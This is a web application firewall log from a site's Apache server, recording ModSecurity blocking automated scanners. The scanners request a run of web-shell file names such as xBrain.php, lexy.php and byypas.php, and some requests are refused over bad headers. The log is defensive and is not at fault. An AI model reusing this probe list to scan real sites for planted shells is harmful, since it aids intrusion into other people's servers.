[Mon Apr 13 03:15:43.897545 2026] [:error] [pid 32010:tid 32029] [client 20.151.218.28:37824] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/afile.php"] [unique_id "advvXw0nq-t9pXyV1fzAOAAAANE"]
[Mon Apr 13 03:15:44.715320 2026] [:error] [pid 32010:tid 32022] [client 20.151.218.28:37776] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/afile.php"] [unique_id "advvYA0nq-t9pXyV1fzAPQAAAMo"]
[Mon Apr 13 03:15:45.440627 2026] [:error] [pid 31605:tid 31659] [client 20.151.218.28:37844] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/afile.php"] [unique_id "advvYW9Py-Y-9VQ02eHgOwAAABA"]
[Mon Apr 13 03:15:46.380409 2026] [:error] [pid 31605:tid 31648] [client 20.151.218.28:37875] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xBrain.php"] [unique_id "advvYm9Py-Y-9VQ02eHgQAAAAAU"]
[Mon Apr 13 03:15:47.374440 2026] [:error] [pid 31607:tid 31741] [client 20.151.218.28:37780] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xBrain.php"] [unique_id "advvY2jn_I-KYTWngjJPYAAAAIQ"]
[Mon Apr 13 03:15:48.243469 2026] [:error] [pid 31607:tid 31758] [client 20.151.218.28:37870] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xBrain.php"] [unique_id "advvZGjn_I-KYTWngjJPZQAAAJU"]
[Mon Apr 13 03:15:49.285007 2026] [:error] [pid 32010:tid 32012] [client 20.151.218.28:37851] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xBrain.php"] [unique_id "advvZQ0nq-t9pXyV1fzASQAAAMA"]
[Mon Apr 13 03:15:50.431719 2026] [:error] [pid 54671:tid 54691] [client 20.151.218.28:37570] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yunu.php"] [unique_id "advvZmyJMmaONUqF0tCt9AAAARA"]
[Mon Apr 13 03:15:51.911779 2026] [:error] [pid 31605:tid 31656] [client 20.151.218.28:37770] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yunu.php"] [unique_id "advvZ29Py-Y-9VQ02eHgVAAAAA0"]
[Mon Apr 13 03:15:52.920331 2026] [:error] [pid 54671:tid 54696] [client 20.151.218.28:37657] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yunu.php"] [unique_id "advvaGyJMmaONUqF0tCt-AAAARU"]
[Mon Apr 13 03:15:53.721879 2026] [:error] [pid 31606:tid 31717] [client 20.151.218.28:37717] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yunu.php"] [unique_id "advvaT9vCsshNhLmCiCPMAAAAEs"]
[Mon Apr 13 03:15:54.379692 2026] [:error] [pid 31605:tid 31656] [client 20.151.218.28:37769] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lexy.php"] [unique_id "advvam9Py-Y-9VQ02eHgXwAAAA0"]
[Mon Apr 13 03:15:55.416060 2026] [:error] [pid 32010:tid 32031] [client 20.151.218.28:37842] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lexy.php"] [unique_id "advvaw0nq-t9pXyV1fzAWgAAANM"]
[Mon Apr 13 03:15:56.445999 2026] [:error] [pid 54671:tid 54690] [client 20.151.218.28:37868] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lexy.php"] [unique_id "advvbGyJMmaONUqF0tCuAAAAAQ8"]
[Mon Apr 13 03:15:57.135525 2026] [:error] [pid 32010:tid 32028] [client 20.151.218.28:37820] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lexy.php"] [unique_id "advvbQ0nq-t9pXyV1fzAYAAAANA"]
[Mon Apr 13 03:27:08.194243 2026] [:error] [pid 30430:tid 30458] [client 43.154.140.188:43606] [client 43.154.140.188] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "advyDLn0S0M-vj_lJadCkgAAAAs"]
[Mon Apr 13 05:58:45.595027 2026] [:error] [pid 33943:tid 34014] [client 216.73.216.221:59732] [client 216.73.216.221] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||vetstars.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "adwVlayoXuZjocnxM5FxawAAAIg"]
[Mon Apr 13 07:57:18.811205 2026] [:error] [pid 63311:tid 63390] [client 43.157.148.38:44542] [client 43.157.148.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adwxXqHjrGN1MqBCVFkbCQAAAJM"]
[Mon Apr 13 08:09:41.882546 2026] [:error] [pid 63406:tid 63430] [client 182.44.8.254:38751] [client 182.44.8.254] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adw0RbHZEIkQ0Zmgp5r6OQAAANM"]
[Mon Apr 13 09:54:30.899877 2026] [:error] [pid 7228:tid 7231] [client 20.91.214.115:47634] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asd.php"] [unique_id "adxM1gEnn1dQrOSHHNU8XQAAAQE"]
[Mon Apr 13 09:54:31.836316 2026] [:error] [pid 63310:tid 63352] [client 20.91.214.115:49215] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asd.php"] [unique_id "adxM13oXpRU5ztmwPjLKSgAAAEg"]
[Mon Apr 13 09:54:32.680646 2026] [:error] [pid 7228:tid 7250] [client 20.91.214.115:47653] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asd.php"] [unique_id "adxM2AEnn1dQrOSHHNU8aAAAARQ"]
[Mon Apr 13 09:54:33.761814 2026] [:error] [pid 63311:tid 63372] [client 20.91.214.115:41319] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asd.php"] [unique_id "adxM2aHjrGN1MqBCVFlP2AAAAIE"]
[Mon Apr 13 09:54:42.297959 2026] [:error] [pid 63311:tid 63387] [client 20.91.214.115:49161] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-104.php"] [unique_id "adxM4qHjrGN1MqBCVFlP9AAAAJA"]
[Mon Apr 13 09:54:47.029544 2026] [:error] [pid 63406:tid 63424] [client 20.91.214.115:8965] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-104.php"] [unique_id "adxM57HZEIkQ0Zmgp5o9CwAAAM0"]
[Mon Apr 13 09:54:53.437858 2026] [:error] [pid 7228:tid 7243] [client 20.91.214.115:49168] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rzki.php"] [unique_id "adxM7QEnn1dQrOSHHNU8xAAAAQ0"]
[Mon Apr 13 09:54:55.939788 2026] [:error] [pid 63311:tid 63391] [client 20.91.214.115:19410] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rzki.php"] [unique_id "adxM76HjrGN1MqBCVFlQGgAAAJQ"]
[Mon Apr 13 09:54:56.912880 2026] [:error] [pid 7228:tid 7244] [client 20.91.214.115:41321] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rzki.php"] [unique_id "adxM8AEnn1dQrOSHHNU8ygAAAQ4"]
[Mon Apr 13 09:54:59.652813 2026] [:error] [pid 63311:tid 63388] [client 20.91.214.115:9012] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rzki.php"] [unique_id "adxM86HjrGN1MqBCVFlQHQAAAJE"]
[Mon Apr 13 09:55:01.270528 2026] [:error] [pid 63406:tid 63429] [client 20.91.214.115:8978] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xsas.php"] [unique_id "adxM9bHZEIkQ0Zmgp5o9LgAAANI"]
[Mon Apr 13 09:55:02.162522 2026] [:error] [pid 7228:tid 7234] [client 20.91.214.115:30082] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xsas.php"] [unique_id "adxM9gEnn1dQrOSHHNU8zgAAAQQ"]
[Mon Apr 13 09:55:02.822602 2026] [:error] [pid 63311:tid 63394] [client 20.91.214.115:30143] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xsas.php"] [unique_id "adxM9qHjrGN1MqBCVFlQJwAAAJc"]
[Mon Apr 13 09:55:03.752967 2026] [:error] [pid 63406:tid 63434] [client 20.91.214.115:19394] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xsas.php"] [unique_id "adxM97HZEIkQ0Zmgp5o9NQAAANc"]
[Mon Apr 13 09:55:04.796078 2026] [:error] [pid 63311:tid 63375] [client 20.91.214.115:19401] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/d12.php"] [unique_id "adxM-KHjrGN1MqBCVFlQKwAAAIQ"]
[Mon Apr 13 09:55:06.201352 2026] [:error] [pid 7228:tid 7235] [client 20.91.214.115:49184] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/d12.php"] [unique_id "adxM-gEnn1dQrOSHHNU82AAAAQU"]
[Mon Apr 13 09:55:07.016415 2026] [:error] [pid 7228:tid 7241] [client 20.91.214.115:41341] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/d12.php"] [unique_id "adxM-wEnn1dQrOSHHNU83QAAAQs"]
[Mon Apr 13 09:55:08.031122 2026] [:error] [pid 7228:tid 7240] [client 20.91.214.115:18138] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/d12.php"] [unique_id "adxM_AEnn1dQrOSHHNU84wAAAQo"]
[Mon Apr 13 09:55:09.294309 2026] [:error] [pid 63406:tid 63420] [client 20.91.214.115:19422] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/okxh.php"] [unique_id "adxM_bHZEIkQ0Zmgp5o9QgAAAMk"]
[Mon Apr 13 09:55:10.005410 2026] [:error] [pid 7228:tid 7233] [client 20.91.214.115:41287] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/okxh.php"] [unique_id "adxM_gEnn1dQrOSHHNU86QAAAQM"]
[Mon Apr 13 09:55:11.718247 2026] [:error] [pid 7228:tid 7248] [client 20.91.214.115:49211] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/okxh.php"] [unique_id "adxM_wEnn1dQrOSHHNU87wAAARI"]
[Mon Apr 13 09:55:12.816872 2026] [:error] [pid 63406:tid 63433] [client 20.91.214.115:49153] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/okxh.php"] [unique_id "adxNALHZEIkQ0Zmgp5o9SgAAANY"]
[Mon Apr 13 09:55:13.665440 2026] [:error] [pid 7228:tid 7230] [client 20.91.214.115:9121] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/55b76.php"] [unique_id "adxNAQEnn1dQrOSHHNU89QAAAQA"]
[Mon Apr 13 09:55:14.561672 2026] [:error] [pid 63310:tid 63346] [client 20.91.214.115:19429] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/55b76.php"] [unique_id "adxNAnoXpRU5ztmwPjLKjwAAAEI"]
[Mon Apr 13 09:55:15.300715 2026] [:error] [pid 63406:tid 63427] [client 20.91.214.115:9144] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/55b76.php"] [unique_id "adxNA7HZEIkQ0Zmgp5o9VQAAANA"]
[Mon Apr 13 09:55:22.189682 2026] [:error] [pid 63309:tid 63324] [client 20.91.214.115:19435] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/55b76.php"] [unique_id "adxNCkpIKZ10weXpf0Wu7QAAAAs"]
[Mon Apr 13 09:55:25.582828 2026] [:error] [pid 63311:tid 63372] [client 20.91.214.115:30082] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tt.php"] [unique_id "adxNDaHjrGN1MqBCVFlQOgAAAIE"]
[Mon Apr 13 09:58:41.485280 2026] [:error] [pid 7228:tid 7234] [client 20.91.214.115:30157] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "adxN0QEnn1dQrOSHHNVAVwAAAQQ"]
[Mon Apr 13 09:58:42.270148 2026] [:error] [pid 63309:tid 63313] [client 20.91.214.115:39959] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "adxN0kpIKZ10weXpf0WwFgAAAAA"]
[Mon Apr 13 09:58:43.173329 2026] [:error] [pid 63406:tid 63431] [client 20.91.214.115:39961] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "adxN07HZEIkQ0Zmgp5o-3AAAANQ"]
[Mon Apr 13 09:58:44.120771 2026] [:error] [pid 63406:tid 63413] [client 20.91.214.115:27601] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "adxN1LHZEIkQ0Zmgp5o-4AAAAMI"]
[Mon Apr 13 09:58:45.907140 2026] [:error] [pid 7228:tid 7248] [client 20.91.214.115:57590] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "adxN1QEnn1dQrOSHHNVAawAAARI"]
[Mon Apr 13 09:58:46.821757 2026] [:error] [pid 63406:tid 63425] [client 20.91.214.115:33006] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "adxN1rHZEIkQ0Zmgp5o-4wAAAM4"]
[Mon Apr 13 09:58:47.740152 2026] [:error] [pid 7228:tid 7239] [client 20.91.214.115:27647] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "adxN1wEnn1dQrOSHHNVAdAAAAQk"]
[Mon Apr 13 09:58:49.227330 2026] [:error] [pid 63309:tid 63314] [client 20.91.214.115:8692] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "adxN2UpIKZ10weXpf0WwJQAAAAE"]
[Mon Apr 13 09:58:50.155349 2026] [:error] [pid 63311:tid 63395] [client 20.91.214.115:39986] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "adxN2qHjrGN1MqBCVFlRpwAAAJg"]
